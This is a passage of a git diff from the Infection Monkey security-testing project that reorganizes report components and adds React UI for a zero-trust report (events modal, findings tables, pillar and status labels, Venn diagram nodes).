rename from monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
similarity index 98%
rename from monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
index aacdc8845..ea39e3c45 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
@@ -24,7 +24,7 @@ let renderPbaResults = function (results) {
 };
 
 const subColumns = [
-  {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }},
+  {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160},
   {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
 ];
 
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
new file mode 100644
index 000000000..761ff94a9
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
@@ -0,0 +1,43 @@
+import React, {Component, Fragment} from "react";
+import EventsModal from "./EventsModal";
+import {Badge, Button} from "react-bootstrap";
+import * as PropTypes from "prop-types";
+
+export default class EventsButton extends Component {
+  constructor(props) {
+    super(props);
+    this.state = {
+      isShow: false
+    }
+  }
+
+  hide = () => {
+    this.setState({isShow: false});
+  };
+
+  show = () => {
+    this.setState({isShow: true});
+  };
+
+  render() {
+    return <Fragment>
+        <EventsModal events={this.props.events} showEvents={this.state.isShow} hideCallback={this.hide}
+                     exportFilename={this.props.exportFilename}/>
+        <div className="text-center" style={{"display": "grid"}}>
+          <Button className="btn btn-primary btn-lg" onClick={this.show}>
+            <i className="fa fa-list"/> Events {this.createEventsAmountBadge()}
+          </Button>
+        </div>
+    </Fragment>;
+  }
+
+  createEventsAmountBadge() {
+    const eventsAmountBadgeContent = this.props.events.length > 9 ? "9+" : this.props.events.length;
+    return <Badge>{eventsAmountBadgeContent}</Badge>;
+  }
+}
+
+EventsButton.propTypes = {
+  events: PropTypes.array,
+  exportFilename: PropTypes.string,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
new file mode 100644
index 000000000..a7f2fe41c
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
@@ -0,0 +1,51 @@
+import React, {Component} from "react";
+import {Badge, Modal} from "react-bootstrap";
+import EventsTimeline from "./EventsTimeline";
+import * as PropTypes from "prop-types";
+import saveJsonToFile from "../../utils/SaveJsonToFile";
+import EventsModalButtons from "./EventsModalButtons";
+import Pluralize from 'pluralize'
+import {statusToLabelType} from "./StatusLabel";
+
+export default class EventsModal extends Component {
+  constructor(props) {
+    super(props);
+  }
+
+  render() {
+    return (
+      <div>
+        <Modal show={this.props.showEvents} onHide={() => this.props.hideCallback()}>
+          <Modal.Body>
+            <h3>
+              <div className="text-center">Events</div>
+            </h3>
+            <hr />
+            <p>
+              There {Pluralize('is', this.props.events.length)} {<div className={"label label-primary"}>{this.props.events.length}</div>} {Pluralize('event', this.props.events.length)} associated with this finding.
+            </p>
+            {this.props.events.length > 5 ? this.renderButtons() : null}
+            <EventsTimeline events={this.props.events}/>
+            {this.renderButtons()}
+          </Modal.Body>
+        </Modal>
+      </div>
+    );
+  }
+
+  renderButtons() {
+    return <EventsModalButtons
+      onClickClose={() => this.props.hideCallback()}
+      onClickExport={() => {
+        const dataToSave = this.props.events;
+        const filename = this.props.exportFilename;
+        saveJsonToFile(dataToSave, filename);
+      }}/>;
+  }
+}
+
+EventsModal.propTypes = {
+  showEvents: PropTypes.bool,
+  events: PropTypes.array,
+  hideCallback: PropTypes.func,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js
new file mode 100644
index 000000000..962c54893
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js
@@ -0,0 +1,20 @@
+import React, {Component} from "react";
+import ExportEventsButton from "./ExportEventsButton";
+import * as PropTypes from "prop-types";
+
+export default class EventsModalButtons extends Component {
+  render() {
+    return <div className="text-center">
+      <button type="button" className="btn btn-success btn-lg" style={{margin: '5px'}}
+              onClick={this.props.onClickClose}>
+        Close
+      </button>
+      <ExportEventsButton onClick={this.props.onClickExport}/>
+    </div>
+  }
+}
+
+EventsModalButtons.propTypes = {
+  onClickClose: PropTypes.func,
+  onClickExport: PropTypes.func
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
new file mode 100644
index 000000000..b7fb90811
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
@@ -0,0 +1,36 @@
+import React, {Component} from "react";
+import {Timeline, TimelineEvent} from "react-event-timeline";
+import * as PropTypes from "prop-types";
+
+let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg');
+let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg');
+
+const eventTypeToIcon = {
+  "monkey_local": monkeyLocalIcon,
+  "monkey_network": monkeyNetworkIcon,
+};
+
+export default class EventsTimeline extends Component {
+  render() {
+    return (
+      <div>
+        <Timeline style={{fontSize: '100%'}}>
+          {
+            this.props.events.map((event, index) => {
+              const event_time = new Date(event.timestamp['$date']).toString();
+              return (<TimelineEvent
+                key={index}
+                createdAt={event_time}
+                title={event.title}
+                icon={<img src={eventTypeToIcon[event.event_type]} alt="icon" style={{width: '24px'}} />}>
+                  {event.message}
+              </TimelineEvent>)
+            })
+          }
+        </Timeline>
+      </div>
+    );
+  }
+}
+
+EventsTimeline.propTypes = {events: PropTypes.array};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js
new file mode 100644
index 000000000..bb6fc6c45
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js
@@ -0,0 +1,15 @@
+import React, {Component} from "react";
+import {Button} from "react-bootstrap";
+import * as PropTypes from "prop-types";
+
+export default class ExportEventsButton extends Component {
+  render() {
+    return <Button className="btn btn-primary btn-lg"
+                   onClick={this.props.onClick}
+    >
+      <i className="fa fa-download"/> Export
+    </Button>
+  }
+}
+
+ExportEventsButton.propTypes = {onClick: PropTypes.func};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js
new file mode 100644
index 000000000..95b9d0389
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js
@@ -0,0 +1,63 @@
+import React, {Component, Fragment} from "react";
+import PillarLabel from "./PillarLabel";
+import EventsButton from "./EventsButton";
+import ZeroTrustPillars, {ZeroTrustStatuses} from "./ZeroTrustPillars";
+import {FindingsTable} from "./FindingsTable";
+
+
+class FindingsSection extends Component {
+  mapFindingsByStatus() {
+    const statusToFindings = {};
+    for (const key in ZeroTrustStatuses) {
+      statusToFindings[ZeroTrustStatuses[key]] = [];
+    }
+
+    this.props.findings.map((finding) => {
+      // Deep copy
+      const newFinding = JSON.parse(JSON.stringify(finding));
+      newFinding.pillars = newFinding.pillars.map((pillar) => {
+        return {name: pillar, status: this.props.pillarsToStatuses[pillar]}
+      });
+      statusToFindings[newFinding.status].push(newFinding);
+    });
+    return statusToFindings;
+  }
+
+  render() {
+    const findingsByStatus = this.mapFindingsByStatus();
+    return (
+      <div id="findings-section">
+        <h2>Findings</h2>
+        <p>
+          Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things
+          happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper
+          insight as to what exactly happened during this test.
+        </p>
+
+        <FindingsTable data={findingsByStatus[ZeroTrustStatuses.failed]} status={ZeroTrustStatuses.failed}/>
+        <FindingsTable data={findingsByStatus[ZeroTrustStatuses.verify]} status={ZeroTrustStatuses.verify}/>
+        <FindingsTable data={findingsByStatus[ZeroTrustStatuses.passed]} status={ZeroTrustStatuses.passed}/>
+      </div>
+    );
+  }
+
+  getFilteredFindings(statusToFilter) {
+    const findings = this.props.findings.map((finding) => {
+      // Deep copy
+      const newFinding = JSON.parse(JSON.stringify(finding));
+      if (newFinding.status === statusToFilter) {
+        newFinding.pillars = newFinding.pillars.map((pillar) => {
+          return {name: pillar, status: this.props.pillarsToStatuses[pillar]}
+        });
+        return newFinding;
+      }
+    });
+    // Filter nulls out of the list
+    return findings.filter(function (el) {
+      return el != null;
+    });
+  }
+}
+
+
+export default FindingsSection;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js
new file mode 100644
index 000000000..acff1df89
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js
@@ -0,0 +1,53 @@
+import React, {Component, Fragment} from "react";
+import StatusLabel from "./StatusLabel";
+import PaginatedTable from "../common/PaginatedTable";
+import * as PropTypes from "prop-types";
+import PillarLabel from "./PillarLabel";
+import EventsButton from "./EventsButton";
+
+const EVENTS_COLUMN_MAX_WIDTH = 160;
+const PILLARS_COLUMN_MAX_WIDTH = 200;
+const columns = [
+  {
+    columns: [
+      {
+        Header: 'Finding', accessor: 'test',
+        style: {'whiteSpace': 'unset'}  // This enables word wrap
+      },
+
+      {
+        Header: 'Events', id: "events",
+        accessor: x => {
+          return <EventsButton events={x.events} exportFilename={"Events_" + x.test_key}/>;
+        },
+        maxWidth: EVENTS_COLUMN_MAX_WIDTH,
+      },
+
+      {
+        Header: 'Pillars', id: "pillars",
+        accessor: x => {
+          const pillars = x.pillars;
+          const pillarLabels = pillars.map((pillar) =>
+            <PillarLabel key={pillar.name} pillar={pillar.name} status={pillar.status}/>
+          );
+          return <div style={{textAlign: "center"}}>{pillarLabels}</div>;
+        },
+        maxWidth: PILLARS_COLUMN_MAX_WIDTH,
+        style: {'whiteSpace': 'unset'}
+      },
+    ]
+  }
+];
+
+
+export class FindingsTable extends Component {
+  render() {
+    return <Fragment>
+      <h3>{<span style={{display: "inline-block"}}><StatusLabel status={this.props.status} showText={true}/>
+      </span>} tests' findings</h3>
+      <PaginatedTable data={this.props.data} pageSize={10} columns={columns}/>
+    </Fragment>
+  }
+}
+
+FindingsTable.propTypes = {data: PropTypes.array, status: PropTypes.string};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
new file mode 100644
index 000000000..51c5ca380
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
@@ -0,0 +1,25 @@
+import React, {Component} from "react";
+import {statusToLabelType} from "./StatusLabel";
+import * as PropTypes from "prop-types";
+
+const pillarToIcon = {
+  "Data": "fa fa-database",
+  "People": "fa fa-user",
+  "Networks": "fa fa-wifi",
+  "Workloads": "fa fa-cloud",
+  "Devices": "fa fa-laptop",
+  "Visibility & Analytics": "fa fa-eye-slash",
+  "Automation & Orchestration": "fa fa-cogs",
+};
+
+export default class PillarLabel extends Component {
+  render() {
+    const className = "label " + statusToLabelType[this.props.status];
+    return <div className={className} style={{margin: '2px', display: 'inline-block'}}><i className={pillarToIcon[this.props.pillar]}/> {this.props.pillar}</div>
+  }
+}
+
+PillarLabel.propTypes = {
+  status: PropTypes.string,
+  pillar: PropTypes.string,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js
new file mode 100644
index 000000000..7cefcab61
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js
@@ -0,0 +1,17 @@
+import React, {Component} from "react";
+import * as PropTypes from "prop-types";
+import ResponsiveVennDiagram from "./venn-components/ResponsiveVennDiagram";
+
+class PillarOverview extends Component {
+  render() {
+    return (<div id={this.constructor.name}>
+      <ResponsiveVennDiagram pillarsGrades={this.props.grades}/>
+    </div>);
+  }
+}
+
+export default PillarOverview;
+
+PillarOverview.propTypes = {
+  grades: PropTypes.array,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
new file mode 100644
index 000000000..bb957d42d
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
@@ -0,0 +1,31 @@
+import React, {Component} from "react";
+import SinglePillarPrinciplesStatus from "./SinglePillarPrinciplesStatus";
+import * as PropTypes from "prop-types";
+
+export default class PrinciplesSection extends Component {
+  render() {
+    return <div id="principles-section">
+      <h2>Test Results</h2>
+      <p>
+        The <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210">
+        Zero Trust eXtended (ZTX) framework
+      </a> is composed of 7 pillars. Each pillar is built of
+        several guiding principles tested by the Infection Monkey.
+      </p>
+      {
+        Object.keys(this.props.principles).map((pillar) =>
+          <SinglePillarPrinciplesStatus
+            key={pillar}
+            pillar={pillar}
+            principlesStatus={this.props.principles[pillar]}
+            pillarsToStatuses={this.props.pillarsToStatuses}/>
+        )
+      }
+    </div>
+  }
+}
+
+PrinciplesSection.propTypes = {
+  principles: PropTypes.object,
+  pillarsToStatuses: PropTypes.object
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
new file mode 100644
index 000000000..b50ee0c28
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
@@ -0,0 +1,71 @@
+import React, {Fragment} from "react";
+import PaginatedTable from "../common/PaginatedTable";
+import AuthComponent from "../../AuthComponent";
+import StatusLabel from "./StatusLabel";
+import * as PropTypes from "prop-types";
+import {ZeroTrustStatuses} from "./ZeroTrustPillars";
+
+
+const MAX_WIDTH_STATUS_COLUMN = 80;
+const columns = [
+  {
+    columns: [
+      { Header: 'Status', id: 'status',
+        accessor: x => {
+          return <StatusLabel status={x.status} size="fa-3x" showText={false} />;
+        },
+        maxWidth: MAX_WIDTH_STATUS_COLUMN
+      },
+      { Header: 'Zero Trust Principle', accessor: 'principle',
+        style: {'whiteSpace': 'unset'}  // This enables word wrap
+      },
+      { Header: 'Monkey Tests', id: 'tests',
+        style: {'whiteSpace': 'unset'},  // This enables word wrap
+        accessor: x => {
+          return <TestsStatus tests={x.tests} />;
+        }
+      }
+    ]
+  }
+];
+
+class TestsStatus extends AuthComponent {
+  render() {
+    return (
+      <Fragment>
+        {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.failed)}
+        {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.verify)}
+        {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.passed)}
+        {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.unexecuted)}
+      </Fragment>
+    );
+  }
+
+  getFilteredTestsByStatusIfAny(statusToFilter) {
+    const filteredTests = this.props.tests.filter((test) => {
+        return (test.status === statusToFilter);
+      }
+    );
+
+    if (filteredTests.length > 0) {
+      const listItems = filteredTests.map((test) => {
+        return (<li key={test.test}>{test.test}</li>)
+      });
+      return <Fragment>
+        <StatusLabel status={statusToFilter} showText={false}/>
+        <ul>{listItems}</ul>
+      </Fragment>;
+    }
+    return <Fragment/>;
+  }
+}
+
+export class PrinciplesStatusTable extends AuthComponent {
+  render() {
+    return <PaginatedTable data={this.props.principlesStatus} columns={columns} pageSize={5}/>;
+  }
+}
+
+export default PrinciplesStatusTable;
+
+PrinciplesStatusTable.propTypes = {principlesStatus: PropTypes.array};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
new file mode 100644
index 000000000..5ef75f2b4
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
@@ -0,0 +1,60 @@
+import React, {Component} from "react";
+import StatusLabel from "./StatusLabel";
+import {ZeroTrustStatuses} from "./ZeroTrustPillars";
+import {NavLink} from "react-router-dom";
+import {Panel} from "react-bootstrap";
+
+
+class ZeroTrustReportLegend extends Component {
+  render() {
+    const legendContent = this.getLegendContent();
+
+    return (
+      <Panel>
+        <Panel.Heading>
+          <Panel.Title toggle>
+            <h3><i className="fa fa-chevron-down" /> Legend</h3>
+          </Panel.Title>
+        </Panel.Heading>
+        <Panel.Collapse>
+          <Panel.Body>
+            {legendContent}
+          </Panel.Body>
+        </Panel.Collapse>
+      </Panel>
+    );
+  }
+
+  getLegendContent() {
+    return <div id={this.constructor.name}>
+      <ul style={{listStyle: "none"}}>
+        <li>
+          <div style={{display: "inline-block"}}>
+            <StatusLabel showText={true} status={ZeroTrustStatuses.failed}/>
+          </div>
+          {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement.
+        </li>
+        <li>
+          <div style={{display: "inline-block"}}>
+            <StatusLabel showText={true} status={ZeroTrustStatuses.verify}/>
+          </div>
+          {"\t"}At least one of the tests’ results related to this component requires further manual verification.
+        </li>
+        <li>
+          <div style={{display: "inline-block"}}>
+            <StatusLabel showText={true} status={ZeroTrustStatuses.passed}/>
+          </div>
+          {"\t"}All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected.
+        </li>
+        <li>
+          <div style={{display: "inline-block"}}>
+            <StatusLabel showText={true} status={ZeroTrustStatuses.unexecuted}/>
+          </div>
+          {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey <NavLink to="/configuration"><u>configuration</u></NavLink> page.
+        </li>
+      </ul>
+    </div>;
+  }
+}
+
+export default ZeroTrustReportLegend;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
new file mode 100644
index 000000000..8e4512ac7
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
@@ -0,0 +1,37 @@
+import AuthComponent from "../../AuthComponent";
+import PillarLabel from "./PillarLabel";
+import PrinciplesStatusTable from "./PrinciplesStatusTable";
+import React from "react";
+import * as PropTypes from "prop-types";
+import {Panel} from "react-bootstrap";
+
+export default class SinglePillarPrinciplesStatus extends AuthComponent {
+  render() {
+    if (this.props.principlesStatus.length === 0) {
+      return null;
+    }
+    else {
+      return (
+        <Panel>
+          <Panel.Heading>
+            <Panel.Title toggle>
+              <h3 style={{textAlign: "center", marginTop: "1px", marginBottom: "1px"}}>
+                <i className="fa fa-chevron-down" /> <PillarLabel pillar={this.props.pillar} status={this.props.pillarsToStatuses[this.props.pillar]} />
+              </h3>
+            </Panel.Title>
+          </Panel.Heading>
+          <Panel.Collapse>
+            <Panel.Body>
+              <PrinciplesStatusTable principlesStatus={this.props.principlesStatus}/>
+            </Panel.Body>
+          </Panel.Collapse>
+        </Panel>
+      );
+    }
+  }
+}
+
+SinglePillarPrinciplesStatus.propTypes = {
+  principlesStatus: PropTypes.array,
+  pillar: PropTypes.string,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js
new file mode 100644
index 000000000..028ca7d89
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js
@@ -0,0 +1,37 @@
+import React, {Component} from "react";
+import * as PropTypes from "prop-types";
+
+const statusToIcon = {
+  "Passed": "fa-check",
+  "Verify": "fa-exclamation-triangle",
+  "Failed": "fa-bomb",
+  "Unexecuted": "fa-question",
+};
+
+export const statusToLabelType = {
+  "Passed": "label-success",
+  "Verify": "label-warning",
+  "Failed": "label-danger",
+  "Unexecuted": "label-default",
+};
+
+export default class StatusLabel extends Component {
+  render() {
+    let text = "";
+    if (this.props.showText) {
+      text = " " + this.props.status;
+    }
+
+    return (
+      <div className={"label " + statusToLabelType[this.props.status]} style={{display: "flow-root"}}>
+        <i className={"fa " + statusToIcon[this.props.status] + " " + this.props.size}/>{text}
+      </div>
+    );
+  }
+}
+
+StatusLabel.propTypes = {
+  status: PropTypes.string,
+  showText: PropTypes.bool,
+  size: PropTypes.string
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
new file mode 100644
index 000000000..d34a484b9
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
@@ -0,0 +1,37 @@
+import React, {Component, Fragment} from "react";
+import PillarLabel from "./PillarLabel";
+import StatusLabel from "./StatusLabel";
+import * as PropTypes from "prop-types";
+import {ZeroTrustStatuses} from "./ZeroTrustPillars";
+
+export default class StatusesToPillarsSummary extends Component {
+  render() {
+    return (<div id="piilar-summary">
+      {this.getStatusSummary(ZeroTrustStatuses.failed)}
+      {this.getStatusSummary(ZeroTrustStatuses.verify)}
+      {this.getStatusSummary(ZeroTrustStatuses.passed)}
+      {this.getStatusSummary(ZeroTrustStatuses.unexecuted)}
+    </div>);
+  }
+
+  getStatusSummary(status) {
+    if (this.props.statusesToPillars[status].length > 0) {
+      return <Fragment>
+        <h3>
+          <StatusLabel showText={true} status={status}/>
+        </h3>
+        <div>
+            {
+              this.props.statusesToPillars[status].map((pillar) => {
+                return <PillarLabel key={pillar} pillar={pillar} status={status} />
+              })
+            }
+        </div>
+      </Fragment>
+    }
+  }
+}
+
+StatusesToPillarsSummary.propTypes = {
+  statusesToPillars: PropTypes.object
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
new file mode 100644
index 000000000..e4012bf50
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
@@ -0,0 +1,40 @@
+import React, {Component} from "react";
+import {Col, Grid, Row} from "react-bootstrap";
+import MonkeysStillAliveWarning from "../common/MonkeysStillAliveWarning";
+import PillarsOverview from "./PillarOverview";
+import ZeroTrustReportLegend from "./ReportLegend";
+import * as PropTypes from "prop-types";
+
+export default class SummarySection extends Component {
+  render() {
+    return <div id="summary-section">
+      <h2>Summary</h2>
+      <Grid fluid={true}>
+        <Row>
+          <Col xs={12} sm={12} md={12} lg={12}>
+            <MonkeysStillAliveWarning allMonkeysAreDead={this.props.allMonkeysAreDead}/>
+            <p>
+              Get a quick glance at how your network aligns with the <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210">
+                Zero Trust eXtended (ZTX) framework
+              </a>.
+            </p>
+          </Col>
+        </Row>
+        <Row className="show-grid">
+          <Col xs={8} sm={8} md={8} lg={8}>
+            <PillarsOverview pillarsToStatuses={this.props.pillars.pillarsToStatuses}
+                             grades={this.props.pillars.grades}/>
+          </Col>
+          <Col xs={4} sm={4} md={4} lg={4}>
+            <ZeroTrustReportLegend/>
+          </Col>
+        </Row>
+      </Grid>
+    </div>
+  }
+}
+
+SummarySection.propTypes = {
+  allMonkeysAreDead: PropTypes.bool,
+  pillars: PropTypes.object
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js
new file mode 100644
index 000000000..dd2a55865
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js
@@ -0,0 +1,18 @@
+export const ZeroTrustPillars = {
+  data: "Data",
+  people: "People",
+  network: "Networks",
+  workload: "Workload",
+  devices: "Devices",
+  visibility: "Visibility & Analytics",
+  automation: "Automation & Orchestration"
+};
+
+export const ZeroTrustStatuses = {
+  failed: "Failed",
+  verify: "Verify",
+  passed: "Passed",
+  unexecuted: "Unexecuted"
+};
+
+export default ZeroTrustPillars;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store
new file mode 100644
index 000000000..344923cf9
Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store differ
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js
new file mode 100644
index 000000000..aee1fb7f2
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js
@@ -0,0 +1,65 @@
+import React from 'react'
+import PropTypes from 'prop-types';
+import {Popover, OverlayTrigger} from 'react-bootstrap';
+import * as d3 from 'd3'
+
+class ArcNode extends React.Component {
+  render() {
+    let {prefix, index, data} = this.props;
+
+    let arc = d3.arc().innerRadius(data.inner).outerRadius(data.outer).startAngle(0).endAngle(Math.PI * 2.0);
+    let id = prefix + 'Node_' + index;
+
+    return (
+      <g transform={'rotate(180)'} id={data.node.pillar} key={prefix + 'arcGroup' + index}>
+        <OverlayTrigger ref={'overlay'} key={prefix + 'arcOverlayTrigger' + index} trigger={null}
+                        placement={data.popover}
+                        overlay={<Popover id={prefix + 'ArcPopover' + index} style={{backgroundColor: data.hex}}
+                                          title={data.node.pillar}>{data.tooltip}</Popover>} rootClose>
+          <path
+
+            id={prefix + 'Node_' + index}
+            className={'arcNode'}
+            data-tooltip={data.tooltip}
+            d={arc()}
+            fill={data.hex}
+            onClick={this.handleClick.bind(this)}
+            onMouseEnter={this.handleOver.bind(this)}
+            onMouseLeave={this.handleOut.bind(this)}
+
+          />
+        </OverlayTrigger>
+        <text x={0} dy={data.fontStyle.size * 1.2} fontSize={data.fontStyle.size} fill={'white'} textAnchor='middle'
+              pointerEvents={'none'}>
+          <textPath href={'#' + id} startOffset={'26.4%'}>
+            <tspan fontFamily={'FontAwesome'}>{data.icon + '\u2000'}</tspan>
+            <tspan>{data.label}</tspan>
+          </textPath>
+        </text>
+      </g>
+    );
+  }
+
+
+  handleClick(e_) {
+    this.props.disableHover(this.refs.overlay);
+  }
+
+  handleOver(e_) {
+    if (this.props.hover) {
+      this.refs.overlay.show();
+    }
+  }
+
+  handleOut(e_) {
+    if (this.props.hover) {
+      this.refs.overlay.hide();
+    }
+  }
+}
+
+ArcNode.propTypes = {
+  data: PropTypes.object
+};
+
+export default ArcNode;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js
new file mode 100644
index 000000000..5c84d95a5
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js
@@ -0,0 +1,64 @@
+import React from 'react'
+import PillarLabel from "../PillarLabel";
+import {Popover, OverlayTrigger} from 'react-bootstrap';
+import PropTypes from 'prop-types';
+
+class CircularNode extends React.Component {
+  render() {
+    let {prefix, index, data} = this.props;
+
+    let translate = 'translate(' + data.cx + ',' + data.cy + ')';
+    return (
+      <g transform={translate} id={data.node.pillar} key={prefix + 'circularGroup' + index}>
+        <OverlayTrigger ref={'overlay'} key={prefix + 'CircularOverlay' + index} trigger={null} placement={data.popover}
+                        overlay={<Popover id={prefix + 'CircularClickPopover' + index}
